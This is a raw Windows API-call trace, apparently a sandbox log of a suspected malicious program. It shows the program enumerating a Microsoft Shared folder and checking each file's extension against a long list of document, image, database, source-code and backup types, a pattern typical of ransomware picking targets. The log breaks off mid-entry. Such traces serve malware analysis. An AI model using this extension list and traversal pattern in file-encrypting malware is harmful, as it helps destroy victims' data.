[0236.784] lstrlenW (lpString=".p7b") returned 4 [0236.784] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".p7c") returned 4 [0236.784] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".pam") returned 4 [0236.784] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".pbm") returned 4 [0236.784] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".pct") returned 4 [0236.784] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".pcx") returned 4 [0236.784] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".pdd") returned 4 [0236.784] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".pdf") returned 4 [0236.784] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".pdp") returned 4 [0236.784] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".pef") returned 4 [0236.784] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".pem") returned 4 [0236.784] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0236.785] lstrlenW (lpString=".pff") returned 4 [0236.785] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0236.785] lstrlenW (lpString=".pfm") returned 4 [0236.785] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0236.785] lstrlenW (lpString=".pfx") returned 4 [0236.785] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0236.785] lstrlenW (lpString=".pgm") returned 4 [0236.785] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0236.785] lstrlenW (lpString=".php") returned 4 [0236.785] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0236.785] lstrlenW (lpString=".php3") returned 5 [0236.785] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0236.785] lstrlenW (lpString=".php4") returned 5 [0236.785] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0236.785] lstrlenW (lpString=".php5") returned 5 [0236.785] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0236.785] lstrlenW (lpString=".phtml") returned 6 [0236.785] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0236.785] lstrlenW (lpString=".pict") returned 5 [0236.785] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0236.785] lstrlenW (lpString=".pl") returned 3 [0236.785] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0236.785] lstrlenW (lpString=".pls") returned 4 [0236.785] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0236.785] lstrlenW (lpString=".pm") returned 3 [0236.785] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0236.785] lstrlenW (lpString=".png") returned 4 [0236.785] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0236.785] lstrlenW (lpString=".pnm") returned 4 [0236.785] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0236.785] lstrlenW (lpString=".pot") returned 4 [0236.785] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0236.785] lstrlenW (lpString=".potm") returned 5 [0236.785] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0236.785] lstrlenW (lpString=".potx") returned 5 [0236.785] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0236.785] lstrlenW (lpString=".ppa") returned 4 [0236.786] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".ppam") returned 5 [0236.786] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0236.786] lstrlenW (lpString=".ppm") returned 4 [0236.786] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".pps") returned 4 [0236.786] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".ppsm") returned 5 [0236.786] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0236.786] lstrlenW (lpString=".ppt") returned 4 [0236.786] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".pptm") returned 5 [0236.786] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0236.786] lstrlenW (lpString=".pptx") returned 5 [0236.786] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0236.786] lstrlenW (lpString=".prn") returned 4 [0236.786] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".ps") returned 3 [0236.786] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0236.786] lstrlenW (lpString=".psb") returned 4 [0236.786] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".psd") returned 4 [0236.786] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".pst") returned 4 [0236.786] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".ptx") returned 4 [0236.786] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".pub") returned 4 [0236.786] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".pwm") returned 4 [0236.786] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".pxr") returned 4 [0236.786] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0236.786] lstrlenW (lpString=".py") returned 3 [0236.786] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0236.786] lstrlenW (lpString=".qt") returned 3 [0236.786] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0236.786] lstrlenW (lpString=".r3d") returned 4 [0236.787] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0236.787] lstrlenW (lpString=".raf") returned 4 [0236.787] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0236.787] lstrlenW (lpString=".rar") returned 4 [0236.787] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.787] FindNextFileW (in: hFindFile=0x3af1760, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0236.787] FindClose (in: hFindFile=0x3af1760 | out: hFindFile=0x3af1760) returned 1 [0236.787] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4289f90 | out: hHeap=0x530000) returned 1 [0236.787] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x37df310 | out: lpFindFileData=0x37df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0236.787] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x4289f90 [0236.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO") returned 56 [0236.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af1760 [0236.787] FindNextFileW (in: hFindFile=0x3af1760, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.787] FindNextFileW (in: hFindFile=0x3af1760, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0236.787] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0236.787] lstrlenW (lpString=".1cd") returned 4 [0236.787] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.787] lstrlenW (lpString=".3ds") returned 4 [0236.787] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0236.788] lstrlenW (lpString=".3fr") returned 4 [0236.788] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0236.788] lstrlenW (lpString=".3g2") returned 4 [0236.788] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0236.788] lstrlenW (lpString=".3gp") returned 4 [0236.788] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0236.788] lstrlenW (lpString=".7z") returned 3 [0236.788] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.788] lstrlenW (lpString=".accda") returned 6 [0236.788] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0236.788] lstrlenW (lpString=".accdb") returned 6 [0236.788] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0236.788] lstrlenW (lpString=".accdc") returned 6 [0236.788] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0236.788] lstrlenW (lpString=".accde") returned 6 [0236.788] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0236.788] lstrlenW (lpString=".accdt") returned 6 [0236.788] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0236.788] lstrlenW (lpString=".accdw") returned 6 [0236.788] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0236.788] lstrlenW (lpString=".adb") returned 4 [0236.788] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0236.788] lstrlenW (lpString=".adp") returned 4 [0236.788] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0236.788] lstrlenW (lpString=".ai") returned 3 [0236.788] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0236.788] lstrlenW (lpString=".ai3") returned 4 [0236.788] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0236.788] lstrlenW (lpString=".ai4") returned 4 [0236.788] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0236.788] lstrlenW (lpString=".ai5") returned 4 [0236.788] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0236.788] lstrlenW (lpString=".ai6") returned 4 [0236.788] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0236.788] lstrlenW (lpString=".ai7") returned 4 [0236.788] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0236.788] lstrlenW (lpString=".ai8") returned 4 [0236.789] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".anim") returned 5 [0236.789] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0236.789] lstrlenW (lpString=".arw") returned 4 [0236.789] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".as") returned 3 [0236.789] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0236.789] lstrlenW (lpString=".asa") returned 4 [0236.789] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".asc") returned 4 [0236.789] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".ascx") returned 5 [0236.789] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0236.789] lstrlenW (lpString=".asm") returned 4 [0236.789] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".asmx") returned 5 [0236.789] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0236.789] lstrlenW (lpString=".asp") returned 4 [0236.789] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".aspx") returned 5 [0236.789] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0236.789] lstrlenW (lpString=".asr") returned 4 [0236.789] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".asx") returned 4 [0236.789] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".avi") returned 4 [0236.789] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".avs") returned 4 [0236.789] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".backup") returned 7 [0236.789] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0236.789] lstrlenW (lpString=".bak") returned 4 [0236.789] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".bay") returned 4 [0236.789] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0236.789] lstrlenW (lpString=".bd") returned 3 [0236.789] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0236.789] lstrlenW (lpString=".bin") returned 4 [0236.790] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".bmp") returned 4 [0236.790] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".bz2") returned 4 [0236.790] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".c") returned 2 [0236.790] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0236.790] lstrlenW (lpString=".cdr") returned 4 [0236.790] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".cer") returned 4 [0236.790] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".cf") returned 3 [0236.790] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0236.790] lstrlenW (lpString=".cfc") returned 4 [0236.790] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".cfm") returned 4 [0236.790] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".cfml") returned 5 [0236.790] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0236.790] lstrlenW (lpString=".cfu") returned 4 [0236.790] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".chm") returned 4 [0236.790] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".cin") returned 4 [0236.790] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".class") returned 6 [0236.790] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0236.790] lstrlenW (lpString=".clx") returned 4 [0236.790] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".config") returned 7 [0236.790] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0236.790] lstrlenW (lpString=".cpp") returned 4 [0236.790] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".cr2") returned 4 [0236.790] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".crt") returned 4 [0236.790] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0236.790] lstrlenW (lpString=".crw") returned 4 [0236.791] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".cs") returned 3 [0236.791] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0236.791] lstrlenW (lpString=".css") returned 4 [0236.791] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".csv") returned 4 [0236.791] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".cub") returned 4 [0236.791] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".dae") returned 4 [0236.791] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".dat") returned 4 [0236.791] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".db") returned 3 [0236.791] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0236.791] lstrlenW (lpString=".dbf") returned 4 [0236.791] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".dbx") returned 4 [0236.791] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".dc3") returned 4 [0236.791] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".dcm") returned 4 [0236.791] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".dcr") returned 4 [0236.791] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".der") returned 4 [0236.791] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".dib") returned 4 [0236.791] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".dic") returned 4 [0236.791] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".dif") returned 4 [0236.791] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0236.791] lstrlenW (lpString=".divx") returned 5 [0236.791] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0236.791] lstrlenW (lpString=".djvu") returned 5 [0236.791] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0236.792] lstrlenW (lpString=".dng") returned 4 [0236.792] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0236.792] lstrlenW (lpString=".doc") returned 4 [0236.792] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.792] lstrlenW (lpString=".docm") returned 5 [0236.792] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0236.792] lstrlenW (lpString=".docx") returned 5 [0236.792] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0236.792] lstrlenW (lpString=".dot") returned 4 [0236.792] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0236.792] lstrlenW (lpString=".dotm") returned 5 [0236.792] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0236.792] lstrlenW (lpString=".dotx") returned 5 [0236.792] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0236.792] lstrlenW (lpString=".dpx") returned 4 [0236.792] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0236.792] lstrlenW (lpString=".dqy") returned 4 [0236.792] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0236.792] lstrlenW (lpString=".dsn") returned 4 [0236.792] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0236.792] lstrlenW (lpString=".dt") returned 3 [0236.792] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0236.792] lstrlenW (lpString=".dtd") returned 4 [0236.792] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0236.792] lstrlenW (lpString=".dwg") returned 4 [0236.792] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0236.792] lstrlenW (lpString=".dwt") returned 4 [0236.792] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0236.792] lstrlenW (lpString=".dx") returned 3 [0236.792] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0236.792] lstrlenW (lpString=".dxf") returned 4 [0236.792] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0236.792] lstrlenW (lpString=".edml") returned 5 [0236.792] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0236.792] lstrlenW (lpString=".efd") returned 4 [0236.792] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0236.792] lstrlenW (lpString=".elf") returned 4 [0236.792] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".emf") returned 4 [0236.793] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".emz") returned 4 [0236.793] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".epf") returned 4 [0236.793] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".eps") returned 4 [0236.793] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".epsf") returned 5 [0236.793] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0236.793] lstrlenW (lpString=".epsp") returned 5 [0236.793] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0236.793] lstrlenW (lpString=".erf") returned 4 [0236.793] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".exr") returned 4 [0236.793] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".f4v") returned 4 [0236.793] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".fido") returned 5 [0236.793] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0236.793] lstrlenW (lpString=".flm") returned 4 [0236.793] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".flv") returned 4 [0236.793] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".frm") returned 4 [0236.793] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".fxg") returned 4 [0236.793] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".geo") returned 4 [0236.793] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".gif") returned 4 [0236.793] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".grs") returned 4 [0236.793] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0236.793] lstrlenW (lpString=".gz") returned 3 [0236.793] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0236.793] lstrlenW (lpString=".h") returned 2 [0236.794] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0236.794] lstrlenW (lpString=".hdr") returned 4 [0236.794] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0236.794] lstrlenW (lpString=".hpp") returned 4 [0236.794] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0236.794] lstrlenW (lpString=".hta") returned 4 [0236.794] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0236.794] lstrlenW (lpString=".htc") returned 4 [0236.794] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0236.794] lstrlenW (lpString=".htm") returned 4 [0236.794] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0236.794] lstrlenW (lpString=".html") returned 5 [0236.794] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0236.794] lstrlenW (lpString=".icb") returned 4 [0236.794] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0236.794] lstrlenW (lpString=".ics") returned 4 [0236.794] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0236.794] lstrlenW (lpString=".iff") returned 4 [0236.794] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0236.794] lstrlenW (lpString=".inc") returned 4 [0236.794] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0236.794] lstrlenW (lpString=".indd") returned 5 [0236.794] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0236.794] lstrlenW (lpString=".ini") returned 4 [0236.794] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0236.794] lstrlenW (lpString=".iqy") returned 4 [0236.794] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0236.794] lstrlenW (lpString=".j2c") returned 4 [0236.794] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0236.813] lstrlenW (lpString=".j2k") returned 4 [0236.814] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0236.814] lstrlenW (lpString=".java") returned 5 [0236.814] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0236.814] lstrlenW (lpString=".jp2") returned 4 [0236.814] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0236.814] lstrlenW (lpString=".jpc") returned 4 [0236.814] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0236.814] lstrlenW (lpString=".jpe") returned 4 [0236.814] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0236.814] lstrlenW (lpString=".jpeg") returned 5 [0236.814] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0236.814] lstrlenW (lpString=".jpf") returned 4 [0236.814] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0236.814] lstrlenW (lpString=".jpg") returned 4 [0236.814] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.814] lstrlenW (lpString=".jpx") returned 4 [0236.814] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0236.814] lstrlenW (lpString=".js") returned 3 [0236.814] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0236.814] lstrlenW (lpString=".jsf") returned 4 [0236.814] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0236.814] lstrlenW (lpString=".json") returned 5 [0236.814] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0236.814] lstrlenW (lpString=".jsp") returned 4 [0236.814] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0236.814] lstrlenW (lpString=".kdc") returned 4 [0236.814] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0236.814] lstrlenW (lpString=".kmz") returned 4 [0236.814] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".kwm") returned 4 [0236.815] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".lasso") returned 6 [0236.815] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0236.815] lstrlenW (lpString=".lbi") returned 4 [0236.815] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".lgf") returned 4 [0236.815] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".lgp") returned 4 [0236.815] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".log") returned 4 [0236.815] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".m1v") returned 4 [0236.815] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".m4a") returned 4 [0236.815] 